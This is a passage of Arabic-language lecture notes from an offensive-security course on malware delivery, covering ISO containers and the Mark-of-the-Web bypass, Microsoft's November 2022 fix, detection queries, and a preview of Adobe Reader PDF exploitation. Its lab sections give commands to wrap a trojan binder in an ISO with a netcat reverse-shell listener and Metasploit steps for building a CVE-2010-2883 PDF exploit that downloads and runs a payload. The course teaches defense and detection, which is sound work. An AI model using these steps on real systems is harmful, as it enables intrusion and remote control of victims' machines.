5. أي قاعدة ASR (بالـ GUID) توقف Office عن إنجاب cmd/certutil، وبالتالي تكسر السلسلة كاملة؟

3/5 صحيحة = تابع. أقل = راجع الجدول 3.5 والقسم 3.7.

القسم 4القسم 4: الطريقة ❸ ISO Container و "عام الـ ISO 2022"

4.1 ما هو ملف ISO؟

ملف ISO = صورة byte-for-byte لقرص ضوئي، تاريخياً CD-ROM، لاحقاً DVD و Blu-ray. الاسم من ISO 9660، المعيار الدولي لنظام ملفات CD-ROM الذي صدر عام 1988 كخليفة لـ High Sierra Format. ملف .iso واحد يحتوي نظام ملفات كامل تماماً كما سيُنسخ على قرص فعلي.

صيغ حاويات مماثلة:

الأربعة كلها: "ضع نظام ملفات في ملف واحد ودع النظام يتظاهر بأنه محرك".

4.2 الاستخدامات الشرعية

• مثبّتات أنظمة التشغيل، Windows 10/11 من Media Creation Tool، Ubuntu، Fedora، Arch، ESXi.
• توزيع البرامج، Office، SQL Server، Visual Studio، حزم برامج التعريف.
• VM attach، VMware, Hyper-V, VirtualBox, QEMU, Proxmox.
• الأرشفة والفورنسكس، حفظ دقيق للأقراص، تكرار أدلة.
• Live boot، Rufus، Ventoy، Kali Live، SystemRescue.

النقطة للطلاب: .iso نوع ملف طبيعي ومتوقّع في بيئات المؤسسات. حظره كلياً يُعطّل تدفقات IT، وهذا بالضبط الاحتكاك الذي استغلّه المهاجمون.

4.3 سلوك Windows منذ Windows 10

قبل Windows 8، فتح .iso تطلّب برامج طرف ثالث. Windows 8 (2012) أضاف التركيب الأصلي، وWindows 10 (يوليو 2015) شحن هذا كسلوك افتراضي.

منذ Windows 10:

• double-click على .iso يُركّبه تلقائياً كمحرك بصري افتراضي عبر cmdlet Mount-DiskImage مدعوماً بـ vhdmp.sys. حرف محرك جديد يظهر (E: أو أعلى)، ويفتح Explorer المحتويات.
• .img يتصرف بنفس الطريقة إذا احتوى ISO9660/UDF أو FAT.
• .vhd/.vhdx double-click يُركّب أصلياً على Pro/Enterprise.
• النموذج الذهني للمستخدم: "فتحت مجلداً"، أيقونة المحرك في الشجرة، اسم المجلد الودود، النافذة التي تُفتح تلقائياً، كلها تُعزّز هذا.

مفتاح السجل الذي يوصّل هذا: HKCR\Windows.IsoFile\shell\mount\command

4.4 Mark-of-the-Web (MOTW): تعمّق

Mark-of-the-Web آلية Windows لتوسيم الملفات القادمة من مصدر غير موثوق. أهم عنصر دفاعي كسرته حيلة ISO.

4.4.1 الآلية: NTFS Alternate Data Stream باسم Zone.Identifier

عندما يكتب تطبيق (متصفح، عميل بريد، Teams) ملفاً عبر واجهة IAttachmentExecute، يُلحق Windows تدفّق Zone.Identifier:

Get-Content .\installer.exe -Stream Zone.Identifier

المحتوى النموذجي:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/installer.exe

قيم ZoneId:

4.4.2 من يستهلك MOTW؟

• SmartScreen، عند تشغيل executable مُوسّم بـ MOTW، يستفسر عن سمعته من خدمة Microsoft. الغير معروف يُنتج dialog "Windows protected your PC" مع خيار افتراضي "Don't run".
• Office Protected View، Word/Excel/PowerPoint تفتح مستندات MOTW للقراءة فقط في عملية sandbox. الماكرو لا يعمل حتى يضغط المستخدم Enable Editing ثم Enable Content. في يوليو 2022 ذهبت Microsoft أبعد و حظرت ماكرو VBA افتراضياً في ملفات Office المُوسّمة بـ MOTW بدون خيار click-through سهل، التغيير المباشر الذي دفع المهاجمين للحاويات.
• Explorer file-type warnings، dialog "Are you sure you want to run this?" لـ .exe، .msi، .bat، .js، .vbs، .hta، .ps1.
• AppLocker / WDAC، يمكن إعدادها لحظر الملفات المُوسّمة كلياً.

4.4.3 🎯 الخطأ الحرج قبل نوفمبر 2022: MOTW لم ينتقل لمحتويات ISO

هنا الفجوة التي بُنيت عليها "سنة الـ ISO":

عندما ينزّل المتصفح .iso من الإنترنت، يُوسّم Windows الـ .iso نفسه بـ Zone.Identifier بشكل صحيح. لكن عندما ينقر المستخدم double-click وتُركّب الحاوية:

• المحرك الافتراضي المُركّب هو volume بصري للقراءة فقط، وفي تنفيذ Microsoft لـ ISO 9660/UDF، NTFS ADS لا يوجد على هذه الأنظمة.
• مسار التركيب لم يُنشئ Zone.Identifier للملفات المنسوخة/المُشغّلة من الحاوية المُركّبة.
• النتيجة: .exe أو .lnk أو .js داخل ISO يُشغّل بدون MOTW، SmartScreen لا يستفسر، Office يفتح المستندات بثقة كاملة، الماكرو يعمل بصمت.

الحاوية = آلة غسل لعلامة منطقة الإنترنت.

الخطأ كان معروفاً علنياً منذ سنوات، الباحث Will Dormann (CERT/CC ثم ANALYGENCE) وثّقه على Twitter وفي تنبيهات CERT منذ ~2016، لكنه بقي بلا تصحيح حتى أجبرت بيانات التهديد Microsoft في أواخر 2022.

4.5 كيف سلّح المهاجمون هذا؟

الـ playbook الذي هيمن على 2022:

1. الطُعم، بريد phishing بموضوع فاتورة/شحن/HR، أو reply-chain hijack لصندوق مسروق.
2. الحاوية الأولى، مرفق أو رابط يُسلّم .zip صغيراً (أحياناً محمي بكلمة سر لكسر MOTW أيضاً) يحتوي .iso (أو .img) بحجم 1–5 MB.
3. المستخدم يعمل double-click على ISO، Windows يُركّبه. المستخدم يرى شيئاً كمجلد فيه ملفان.
4. داخل ISO، سلسلة "binder": — .lnk باسم Invoice.pdf بأيقونة PDF، هدفه cmd.exe /c ... أو rundll32.exe يستدعي DLL/JS/BAT مخفي. — مجلد مخفي فيه الحمولة الحقيقية، غالباً ثنائي شرعي موقّع لكن قابل للـ sideload (نسخة من regsvr32 أو مُحدّث من طرف ثالث) + DLL خبيث. — أو مباشرة .js / .vbs / .hta / .wsf script.
5. التنفيذ، لأن MOTW غائب، SmartScreen صامت، لا شريط أصفر في Office. الـ loader يبعث خارجاً، يُسقط الـ RAT/loader/ransomware.

4.6 المعمل 🧪: بناء ISO

⚠️ للتوعية الدفاعية فقط، على جهاز معزول.

🎯 الفكرة المحورية: ISO لا يستبدل الـ Trojan Binder من المحاضرة 2، بل يغلّفه لتجاوز MOTW. نضع نفس Report.pdf.exe (الذي يفتح decoy.pdf ويطلق payload.exe) داخل ISO، فيحصل الضحية على نفس النتيجة بدون تحذير SmartScreen (قبل تصحيح نوفمبر 2022، وسنشرح البدائل الحديثة في 4.11).

# Terminal 1 — nc listener على Kali
nc -nlvp 4444

Linux، genisoimage:

mkdir -p /tmp/staging

# انسخ Report.pdf.exe (Trojan Binder المُبنى في المحاضرة 2)
# هذا الملف بالفعل يحوي decoy.pdf + payload.exe كموارد داخلية
cp /home/hash-hash/ctf/dev/red-ctf/delivery/Report.pdf.exe /tmp/staging/Report.pdf.exe

# (اختياري) أضف Readme.txt يزيد المصداقية
echo "Q4 Financial Report - Confidential - Please review" > /tmp/staging/Readme.txt

genisoimage -o Report.iso -V "REPORT_Q4" -J -R -iso-level 3 /tmp/staging/

Linux، xorriso (الحديث):

xorriso -as mkisofs -o Report.iso -V "REPORT_Q4" -J -R /tmp/staging/

ماذا حدث؟ Report.iso الآن ملف واحد يمكن إرساله بالبريد أو استضافته على drive-by page. يحوي داخله Report.pdf.exe الذي بدوره يحوي decoy.pdf + payload.exe. طبقتان من التغليف = طبقتان من التهرّب:

• الطبقة الخارجية (ISO): تُبطل MOTW على الملف الداخلي (في الحاويات القديمة قبل CVE-2022-41091).
• الطبقة الداخلية (Binder): تفتح الطُعم بصرياً وتطلق الحمولة خفية.

Windows، oscdimg.exe (من Windows ADK):

oscdimg.exe -n -m -d C:\staging C:\out\payload.iso

PowerShell، VHDX:

New-VHD -Path .\payload.vhdx -Fixed -SizeBytes 5MB
Mount-VHD .\payload.vhdx
# format, copy files, dismount

الملفات الناتجة لا تُميّز عن مخرج المطوّر الشرعي على مستوى البايت. التصفية الدفاعية على magic bytes وحدها بلا فائدة.

4.7 "عام الـ ISO": حملات حقيقية (تاج المحاضرة)

المحفّز: قرار Microsoft بحظر ماكرو VBA افتراضياً في ملفات Office المُوسّمة بـ MOTW، من فبراير إلى يوليو 2022. لعقد كامل كان الماكرو الطريقة رقم 1 للوصول الأولي. عندما أُغلق الباب، أصبحت الحاويات الباب.

التأطير الصناعي:

• HP Wolf Security Threat Insights Q3 2022، ارتفاع 11% ربع-عن-ربع في malware بصيغة archive، وقفزة واضحة في .iso، .img، .vhd، استخدم مصطلح "عام الـ ISO".
• Proofpoint "The Long Con" (يوليو/أكتوبر 2022)، انخفاض ~66% في حملات الماكرو مقابل ارتفاع مقابل في التوصيل عبر الحاويات.
• Mandiant M-Trends 2023، إساءة ISO/container أحد تقنيات الوصول الأولي المميّزة لفترة تقارير 2022.

4.8 استجابة Microsoft: تصحيح 8 نوفمبر 2022

في Patch Tuesday 8 نوفمبر 2022، شحنت Microsoft إصلاحات (متتبّعة في CVE-2022-41091) تُنقّل Zone.Identifier من الحاوية إلى الملفات داخل ISO/IMG/VHD/VHDX المُركّبة. الأثر:

• تشغيل executable مُستخرج من ISO مُنزّل يُطلق SmartScreen الآن.
• فتح .docm من ISO يُفتح في Protected View مع حظر الماكرو.
• Zone.Identifier ADS يُنشأ لحظياً عند القراءة.

Microsoft أصلحت أيضاً مشكلة تجريد MOTW في 7-Zip/WinRAR عبر تحديثات لهاتين الأداتين في أكتوبر–نوفمبر 2022، كل الحاويات الرئيسية أُغلقت خلال أسابيع.

تحوّل المهاجم بعد نوفمبر 2022:

• ملفات LNK مباشرة داخل ZIP archives.
• مرفقات OneNote (.one) بسكربتات/executables مضمّنة، الطاغي في Q1 2023 حتى صحّحت Microsoft OneNote في أبريل/مايو 2023.
• حزم MSIX / AppX، تنسيق مثبّت موقّع يتخطى مطالبات SmartScreen؛ يُساء استخدامه من GHOSTPULSE.
• SVG smuggling, HTML smuggling, CHM, WSF, VHD، وعودة اهتمام XLL add-ins.

4.9 خريطة MITRE ATT&CK

احفظ للامتحان: T1553.005.

4.10 الكشف

Sysmon:

• EventID 11 (FileCreate) على *.iso, *.img, *.vhd, *.vhdx تحت \Users\*\Downloads\، \AppData\Local\Temp\.
• EventID 15 (FileCreateStreamHash) لالتقاط إنشاء Zone.Identifier.
• EventID 1 (ProcessCreate) لأطفال explorer.exe على حرف محرك لم يكن موجوداً عند التمهيد.

سجلات Windows المدمجة:

• Microsoft-Windows-VHDMP/Operational، يسجّل تركيب/فك تركيب الأقراص الافتراضية مع مسار الملف. غير مُستخدم بما يكفي، دقّة عالية جداً.

Microsoft Defender for Endpoint:

DeviceEvents
| where ActionType == "MountedDiskImage"
| where FileName endswith ".iso" or FileName endswith ".img"
| join kind=inner DeviceProcessEvents on DeviceId
| where InitiatingProcessFileName in ("explorer.exe","outlook.exe","chrome.exe","msedge.exe")

تصلّب السياسات:

• GPO / Intune: حذف أو ACL-تقييد HKCR\Windows.IsoFile\shell\mount\command. المستخدمون يستطيعون استخراج ISOs عبر 7-Zip لكنهم يفقدون التركيب التلقائي.
• AppLocker / WDAC: رفض التنفيذ من محركات removable/optical، أو executables على volume من نوع DRIVE_CDROM.

🎯 فرضية صيد ذهبية:

"أرِني كل عملية أُطلقت من حرف محرك أنشأه حدث MountedDiskImage في الدقائق الخمس السابقة، حيث مسار الصورة المُركّبة تحت Downloads أو Temp المستخدم."

4.11 السلسلة الكاملة (End-to-End) على Windows 11 24H2

⚠️ بعد تصحيح Microsoft في 8 نوفمبر 2022 (CVE-2022-41091) الـ ISO المُنزّل من الإنترنت مباشرة يُنقل MOTW لملفاته الداخلية. للتحقّق التعليمي:

• قبل التصحيح (Win10 pre-KB5019959 / Win11 pre-KB5019961): يعمل كما هو، لا SmartScreen.
• بعد التصحيح: SmartScreen يحذّر لأن Report.pdf.exe داخل ISO يرث MOTW.
• الحل الحديث (2023+): ضع الـ ISO داخل صفحة HTML smuggling → المتصفح يبني ISO من JS blob في الذاكرة → عند الحفظ لا MOTW على الحاوية → لا MOTW على المحتوى.

تدفّق التنفيذ بغض النظر عن MOTW:

┌─── Kali (attacker) ────────┐        ┌─── Windows Victim ───────────┐
│ Terminal: nc -nlvp 4444    │        │ 1. يحفظ Report.iso من البريد │
│                            │        │ 2. double-click على ISO      │
│                            │        │ 3. Windows يُركّبه (drive E:) │
│                            │        │ 4. يفتح E:\Report.pdf.exe    │
│                            │        │ 5. Binder يستخرج:            │
│                            │        │     - decoy.pdf → يفتحه ✓    │
│                            │        │     - payload.exe → hidden ✗ │
│  ← shell arrives on 4444   │◄───────│ 6. reverse shell connects    │
└────────────────────────────┘        └──────────────────────────────┘

✅ اختبر نفسك: القسم 4

1. ما هو MOTW تقنياً؟ ما اسم الـ Alternate Data Stream الذي يحمله؟
2. لماذا احتفلت مجموعات APT بـ ISO بين أبريل ونوفمبر 2022 بالذات؟ ما القرار من Microsoft الذي حفّز التحوّل؟
3. اذكر ثلاث عائلات malware استخدمت ISO في 2022 وشركة threat-intel وثّقت كلاً منها.
4. ما رقم CVE الذي أصلحت به Microsoft ثغرة نقل MOTW في نوفمبر 2022؟
5. ما البدائل التي انتقل إليها المهاجمون بعد نوفمبر 2022 (اذكر اثنين)؟

3/5 = تابع. أقل = راجع الجدول 4.7 والقسم 4.8.

القسم 5القسم 5: الخريطة الكاملة: خمس طرق × MITRE ATT&CK

جدول موحّد للطرق الخمس التي درسناها حتى الآن. احفظ هذه الخريطة، ستتكرر في كل واجب وكل امتحان.

مصفوفة مقارنة، أين تُقاس كل طريقة على المحاور الثلاثة؟

🎯 لاحظ: لا توجد طريقة واحدة كافية وحدها. الاختراقات الحقيقية سلاسل: ISO يحتوي LNK يستدعي mshta يشغّل HTA يُطلق PowerShell cradle يجلب Cobalt Strike Beacon. كل حلقة من هذه الحلقات تنتمي لتقنية MITRE مختلفة.

✅ اختبر نفسك: القسم 5

بلا العودة للجدول:

1. الطريقة الوحيدة من الخمس التي تعتمد على T1553.005 (MOTW Bypass)، من هي؟
2. الطريقة التي دائماً stage-2 وليست point-of-entry، من هي؟ ولماذا؟
3. اربط بين هذه الطرق وسلسلة اختراق حقيقية: ISO → LNK → mshta → PowerShell → Cobalt Strike. اذكر التقنية MITRE لكل خطوة.
4. الطريقتان اللتان تُصنّفان أساساً تحت T1204.002 (المستخدم يُشغّل ملفاً خبيثاً بيده)، من هما؟

4/4 صحيحة = فهمت الجوهر. أقل = راجع مصفوفة القسم 5.

القسم 6القسم 6: أين يقع "Drive-by Download" في التصنيف؟

6.1 الالتباس الشائع

كثير من المصادر التعليمية تُستخدم "drive-by download" كعنوان مظلّة للتوصيل، ثم تضع تحته Binder و PDF exploit و steganography كمواضيع فرعية. هذا يخلط المحاور ويجعل الطلاب يعيدون تعلّم التصنيف عند قراءة أول تقرير Mandiant.

6.2 التعريف الكلاسيكي الدقيق (2004–2015)

Drive-by Download بمعناه الأصلي والدقيق تقنياً:

تنزيل وتنفيذ كود على جهاز الضحية بمجرد زيارة صفحة ويب، بلا نقرة، بلا dialog، بلا فتح ملف، بلا موافقة تتجاوز الملاحة إلى URL.

الخاصية المُحدِّدة: غياب التفاعل بعد رندر الصفحة في متصفح مُصاب بثغرة.

• الناقل: تحميل صفحة HTTP/HTTPS في متصفح (أو iframe إعلاني).
• الآلية: ثغرة تلف ذاكرة (heap spray, use-after-free, type confusion) ضد محرك المتصفح أو إضافة (Adobe Flash، Java applet، Silverlight، ActiveX في IE).
• الحمولة: shellcode يعمل في عملية المتصفح، غالباً stager يجلب ثنائي كامل (بنكي، ransomware، RAT).

هذا المعنى النظيف، مُستَغِلّ، بلا تفاعل، هو ما كانت الأدبيات الأكاديمية (Provos et al. 2007 "The Ghost in the Browser") وتقارير الموردين (Symantec ISTR 15–24) تُشير إليه.

6.3 عصر مجموعات الاستغلال (Exploit Kits)

الطُغاة في التوصيل drive-by بعد التجاري:

6.4 لماذا مات Drive-by الكلاسيكي فعلياً

فترة 2016–2022 أغلقت كل الأبواب تقريباً:

• Adobe Flash EOL: 12 يناير 2021.
• Oracle Java NPAPI، Chrome أزالها 2015، Firefox 2017.
• Silverlight، EOL أكتوبر 2021.
• Internet Explorer، تقاعد 15 يونيو 2022.
• ASLR + DEP + CFG + site isolation + sandboxes + auto-updating browsers، كل هذه الحماية تعمل معاً.
• الاقتصاد: exploit chain كامل لـ Chrome يُباع بـ $2M–$3M+ على Zerodium/Crowdfense. لا يستطيع crimeware تجاري حرقه من أجل $500 فدية.

النتيجة: drive-by بمعناه الكلاسيكي منقرض تجارياً. يبقى فقط في exploit chains دولة-قومية (Pegasus, Predator, Reign، مستهدفة حصرياً).

6.5 الاستخدام الحديث الفضفاض (2020+)

الصناعة تمدد المصطلح ليشمل downloads مُهندسة اجتماعياً بلا موافقة ذات معنى. أمثلة تُسمّى "drive-by" في مدوّنات الموردين:

• SocGholish (aka FakeUpdates)، JS مُحقن في مواقع WordPress مخترقة، يعرض صفحة "متصفحك قديم"، يُقدّم ZIP فيه JScript loader. TA569 منذ ~2018، مصنّف #1 كناقل وصول أولي في Mandiant M-Trends 2023/2024 لأمريكا الشمالية.
• ClickFix / "Paste and Run"، CAPTCHA مزوّر يطلب من المستخدم ضغط Win+R، Ctrl+V، Enter للصق PowerShell one-liner. انفجر في 2024. يُوصل Lumma Stealer, DarkGate, NetSupport RAT, XWorm.
• Gootloader، SEO-poisoning لمواقع WordPress، ترتيب على استعلامات "nda template Ontario"، يُقدّم ZIP فيه JS مُشوّش.
• Malvertising loaders (2023–2025)، Google Ads تُقلّد Notion, Slack, KeePass, OBS، MSI/MSIX مُتَرْجَنة.

⚠️ هذه ليست drive-by بالمعنى الكلاسيكي. كلها تتطلب على الأقل double-click أو لصق أمر. استخدام الموردين "drive-by" هنا اختصار تسويقي فضفاض.

6.6 الخارطة الذهنية الصحيحة: المحاور الثلاثة

Axis A، التسليم (كيف تصل البايتات؟):

• Email attachment / link
• Drive-by page (كلاسيكي أو حديث)
• Watering hole
• Malvertising
• SEO poisoning
• USB drop / supply-chain
• Update channel compromise

Axis B، التنفيذ (ما الذي يجعل الكود يعمل؟):

• تلقائي عند رندر الصفحة (drive-by كلاسيكي)
• تلقائي عند فتح المستند (PDF exploit، نأتي إليه في المحاضرة القادمة)
• User double-click (T1204.002)
• User-triggered command paste (ClickFix، T1204.004)
• Auto via LNK / autorun / scheduled task / WMI
• LOLBin: mshta/rundll32/regsvr32 من أب

Axis C، شكل الحمولة:

• Trojan Binder، HTA، PowerShell script/cradle، Batch، ISO/IMG/VHD، Macro Office، OneNote، LNK، SVG smuggling، PDF (lure أو exploit حقيقي).

🎯 النقطة التعليمية الجوهرية: شكل الحمولة مستقل عن التسليم. HTA يمكن أن يصل بالبريد، بـ drive-by، بـ USB. صفحة drive-by يمكن أن تُسلّم أي شكل حمولة.

6.7 تطبيق: كيف تُقرن الطرق الخمس بالتوصيل drive-by؟

✅ اختبر نفسك: القسم 6

1. عرّف "drive-by download" بمعناه الكلاسيكي الدقيق بجملة واحدة (2004–2015).
2. لماذا مات drive-by الكلاسيكي تجارياً بعد 2021؟ اذكر سبباً تقنياً وآخر اقتصادياً.
3. ClickFix / "paste and run"، تحت أي فرع من MITRE (T1204.NNN)؟ لماذا ليست drive-by كلاسيكية رغم أنها تُقدَّم في صفحة ويب؟
4. من بين طرقنا الخمس، أيّها يُقارَب فعلياً drive-by الكلاسيكي، ولماذا لا تصل تماماً؟
5. اشرح جملة "شكل الحمولة مستقل عن التسليم" باستخدام HTA كمثال.

3/5 = فهمت التصنيف. أقل = راجع الأقسام 6.6 و 6.7.

القسم 7القسم 7: لمحة عن المحاضرة القادمة: استغلال Adobe Reader Weaponized PDF

7.1 القفزة النوعية

كل الطرق التي درسناها حتى الآن، Binder، HTA، Cradle، Batch، ISO، تتطلب في مكان ما تفاعلاً من المستخدم: نقر مزدوج، Enable Content، ضغط "Allow".

المحاضرة القادمة تكسر هذا الحاجز:

ملف .pdf حقيقي + ثغرة حقيقية في Adobe Reader + إصدار قابل للاستغلال = تنفيذ كود عن بُعد بصفر نقرات بعد فتح الملف.

هذا ما يُسمّى "weaponized PDF"، ليس PDF فيه رابط، ولا PDF فيه /Launch (اجتماعي)، بل PDF بنيتُه نفسها تُطلق ثغرة parser في القارئ.

7.2 التمييز الحاسم: ثلاث أنواع من "PDFs الخبيثة"

7.3 لماذا إصدار القارئ حاسم؟

كل PDF exploit عقد مع build مُعيّن. مسار الكود الضعيف، offset دقيق لعنوان return، layout قطعة heap، وجود parser غير مُصحّح، موجود فقط في إصدارات معيّنة.

هذا يشرح لماذا يشحن مطوّرو الاستغلال exploits مربوطة بـ Adobe Reader 9.3.4 أو Foxit 9.0.1.1049 بدلاً من "Adobe Reader" عموماً. وهو يشرح لماذا التصحيح يقتل الاستغلال يوم تثبيته.

7.4 خط زمني: ثغرات PDF بارزة

7.5 نمط الاستهداف

2007–2013: العصر الذهبي لاستغلال PDF. Adobe Reader شبه شامل، يعمل خارج أي sandbox، ويشحن سطح هجوم ضخم: JavaScript engine، Flash مضمّن، 3D (U3D/PRC)، XFA forms، fonts (CoolType)، ونصف دزينة من image decoders.

2013–2017: التضييق العظيم.

• Adobe شحن Protected Mode (Reader X, 2010) و Protected View (Reader XI, 2012).
• CVE-2013-0640/0641 كسر sandbox Reader XI في البرية، من قلة حالات هروب sandbox العلنية.
• Reader DC (2015) شدّد sandbox وأضاف AppContainer.
• المتصفحات بدأت تشحن قرّاء PDF مدمجين: Chrome PDFium، Firefox pdf.js، Edge، عندما يفتح المستخدم PDF اليوم يُرندر عادة في المتصفح.

2018–حاضر: الذيل الطويل.

• بقايا Reader DC (CVE-2018-4990, CVE-2023-26369) تُستخدم في حملات APT مستهدفة، لا crimeware جماعي.
• هروب sandbox الآن سلسلة من ثغرتين أو ثلاث.
• Foxit يحمل ذيل bugs أثقل من Adobe الحديث.
• Adobe Reader 9/X/XI القديم غير المُصحّح يبقى في بيئات air-gapped ومُضمّنة (غرف تحكم صناعية، أنظمة حكومية قديمة).

7.6 حملات APT شهيرة تستخدم PDF exploitation

• Operation Aurora (2009–2010)، الناقل الأولي CVE-2010-0249 في IE 6، ليس PDF (خلط شائع). حملات المتابعة استخدمت PDF/Office droppers، لكن يجب الدقة.
• Nitro (2011)، CVE-2010-2883 → Poison Ivy → ~48 شركة كيماوية/دفاعية. Symantec Chien & O'Gorman.
• MiniDuke (2013)، CVE-2013-0640/0641 → assembler backdoor → 23+ حكومة. Kaspersky + CrySyS، لاحقاً APT29.
• Sofacy / APT28 (2015–2018)، PDF droppers في spear-phishing chains ضد NATO، DNC.
• DarkHotel (2014–2017)، Kaspersky وثّق اختراق hotspots فنادق آسيا لدفع PDF/Flash exploits على مسافرين تنفيذيين.

7.7 لماذا الحمولة تعمل فقط في الإصدارات الضعيفة؟

القرّاء الحديثون يُضيفون طبقات:

• ASLR، عناوين DLL و heap عشوائية → shellcode بعناوين ثابتة يفشل.
• DEP/NX، الذاكرة المُتلَفة غير قابلة للتنفيذ.
• CFG، indirect calls تُتحقق من bitmap → فساد vtable مرفوض.
• Sandbox / Protected Mode، حتى مع اختراق parser، الهروب يحتاج ثغرة ثانية (kernel).
• إزالة سطح الهجوم، Flash أُزيل (2020)، 3D معطّل افتراضياً، JavaScript blacklists.

7.8 ماذا تُعلّم PDF exploits ما لا يُعلّمه Binder/HTA/Cradle؟

النقطة الفكرية: PDF exploit يُعرّفنا على T1203، Exploitation for Client Execution، فئة تختلف عن كل ما سبق. إنها الطريقة التي بها NSO Pegasus و Predator و Reign يخترقون الهواتف في 2026، نفس المبدأ.

7.9 خريطة MITRE للمحاضرة القادمة

الاقتران التعليمي الذي سنُبرزه: T1566.001 → T1203 → T1068.

✅ اختبر نفسك: القسم 7

1. ما الفرق العملي بين PDF بـ /Launch (نمط msfvenom -f pdf) و PDF-Exploit حقيقي (نمط CVE-2010-2883)؟ أيّهما يطلب موافقة الضحية؟
2. لماذا إصدار القارئ حاسم لكل PDF exploit، ما الذي يتغيّر بين Reader 9.3.0 و 9.4 يجعل نفس الحمولة تنجح أو تفشل؟
3. اذكر ثلاث مجموعات APT استخدمت PDF exploits حقيقية، ورقم CVE واسم الحملة والسنة.
4. لماذا Adobe Reader DC الحديث يهزم CVE-2010-2883 حتى لو لم تُصحّح، رغم أن الثغرة "موجودة" نظرياً؟
5. ما الذي يُعلّمك PDF exploit عن الأمن الهجومي ولم يُعلّمك إياه Binder ولا HTA ولا Cradle؟

3/5 = جاهز للمحاضرة القادمة. أقل = راجع 7.1 و 7.3 و 7.7.

القسم 8القسم 8: الواجب والتحضير المخبري

8.1 واجب نظري (يُسلّم قبل المحاضرة القادمة)

1. خريطة ATT&CK يدوية. خذ حادثة SolarWinds SUNBURST (ديسمبر 2020)، اقرأ مدوّنة Microsoft Solorigate deep dive. اكتب: — 5 سلوكيات منفصلة على الأقل من الحادثة. — لكل سلوك: التكتيك (TA)، التقنية (T)، الفرعية (T.NNN) إن وُجدت. — أنشئ layer في ATT&CK Navigator وصدّرها كـ JSON، أرفق الملف مع الواجب.

1. تحليل حالة "عام الـ ISO". اقرأ Mandiant "Trello From the Other Side" (أبريل 2022) عن APT29. أجب: — كيف تمكّن HTML smuggling من إسقاط ISO بدون MOTW على الحاوية نفسها؟ — لماذا احتاج APT29 لدمج حاويتين من تهرّب MOTW في نفس السلسلة؟ — ما التقنية MITRE (بالـ ID) لكل مرحلة من مراحل السلسلة؟

1. بحث أدوات. ابحث عن 5 LOLBins من LOLBAS لم تُذكر في المحاضرة، ولكل واحد اكتب: — اسم الثنائي. — القدرة المُساء استخدامها (تنزيل، تنفيذ، إخفاء…). — MITRE Technique المُقترنة.

8.2 تحضير مخبري للمحاضرة 5 (استغلال Adobe Reader)

⚠️ كل الخطوات في بيئة معزولة فقط، VM بشبكة Host-Only، snapshot قبل كل خطوة.

بيئة الضحية:

1. أنشئ VM جديد بـ Windows 7 SP1 x86 (32-bit ضرورية لبعض الاستغلالات القديمة). — قرص 40GB، RAM 2GB، شبكة Host-Only فقط. — عطّل Windows Update كلياً. — عطّل Defender من GPO.
2. نزّل Adobe Reader 9.3.0 من أرشيف موثوق. تحقّق من الـ SHA-256 مقابل Adobe Security Bulletin APSB10-07 قبل التشغيل. المصادر المعتمدة: — <https://web.archive.org/web/*/get.adobe.com/reader/> — إذا لم تجد، تواصل مع المُدرّس للحصول على hash مُثبَّت.
3. ثبّت Reader 9.3.0 على VM Win7.
4. خُذ snapshot اسمه win7-reader9.3.0-fresh.

بيئة المهاجم (Kali):

# تأكد من Metasploit محدّث
sudo apt update && sudo apt install -y metasploit-framework
msfconsole -q

داخل msfconsole:

msf6 > search cve:2010-2883
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
msf6 exploit(...) > show options
msf6 exploit(...) > set FILENAME lecture5-demo.pdf
msf6 exploit(...) > set PAYLOAD windows/download_exec
msf6 exploit(...) > set URL http://<IP-kali-في-host-only>:8080/payload.exe
msf6 exploit(...) > run

🎯 لماذا windows/download_exec وليس meterpreter/reverse_tcp؟ لأن الـ shellcode داخل PDF exploit صغير جداً، عشرات البايتات فقط تسع بين offsets الـ SING table. لذا نستخدم stager يحمل مهمة واحدة: تنزيل نفس payload.exe من المحاضرة 1 وتشغيله. هكذا نحافظ على وحدة الحمولة عبر كل المحاضرات، التسليم يتغيّر (Binder → HTA → Cradle → Batch → ISO → PDF exploit)، لكن الحمولة الفعلية دائماً payload.exe والمُلتقِط دائماً nc -nlvp 4444.

هذا يُنشئ ~/.msf4/local/lecture5-demo.pdf. لا تنقله لأي جهاز خارج المعمل.

على Kali، شغّل بالتوازي قبل فتح الـ PDF على الضحية:

# نافذة 1 — يُستضيف payload.exe للاستدعاء من داخل PDF exploit
python3 -m http.server 8080 --directory /home/hash-hash/ctf/dev/red-ctf/delivery/

# نافذة 2 — nc listener لاستقبال reverse shell عندما يعمل payload.exe
nc -nlvp 4444

في المحاضرة القادمة سنُنفّذه على Reader 9.3.0 ونُظهر:

• reverse shell على nc listener بلا أي "Allow" prompt، على عكس نمط /Launch من المحاضرة 2 الذي يحتاج موافقة صريحة.
• نفس الملف يُفتح بأمان في Adobe Reader DC حديث (الثغرة مُصحّحة).
• نفس الملف يفشل صامتاً على Reader 9.4 (offsets مُنزاحة).

8.3 قراءة إجبارية قبل المحاضرة القادمة

• Kaspersky GReAT, "The MiniDuke Mystery" (فبراير 2013)، <https://securelist.com/the-miniduke-mystery-pdf-0-day-government-spy-assembler-0x29a-micro-backdoor/31112/>
• Symantec Chien & O'Gorman, "The Nitro Attacks" (أكتوبر 2011)، <https://docs.broadcom.com/doc/the-nitro-attacks>
• ESET WeLiveSecurity, "A tale of two zero-days" (مايو 2018)، <https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/>
• MITRE ATT&CK، T1203، <https://attack.mitre.org/techniques/T1203/>

8.4 أسئلة للتفكير قبل الحضور

1. لماذا يقول Provos et al. أن drive-by download الكلاسيكي يتطلب صفر تفاعل، وكيف يختلف هذا عن كل الطرق الخمس التي درسناها في المحاضرة 2 و 4؟
2. إذا صحّح Adobe ثغرة CVE-2010-2883 اليوم على جهازك، هل يبقى msfvenom -f pdf يعمل ضده؟ لماذا نعم أو لماذا لا؟
3. مجموعة APT29 استخدمت PowerShell (SolarWinds 2020) و PDF exploits (MiniDuke 2013). أيّهما يتطلب إصداراً محدداً من البرنامج المُستهدف، وأيّهما يعمل عبر كل الإصدارات؟

📚 الملحق: روابط سريعة

MITRE:

• الإطار: <https://attack.mitre.org>
• Enterprise Matrix: <https://attack.mitre.org/matrices/enterprise/>
• Navigator: <https://mitre-attack.github.io/attack-navigator/>
• Groups: <https://attack.mitre.org/groups/>
• Software: <https://attack.mitre.org/software/>

PowerShell Cradle:

• Bohannon Invoke-CradleCrafter: <https://github.com/danielbohannon/Invoke-CradleCrafter>
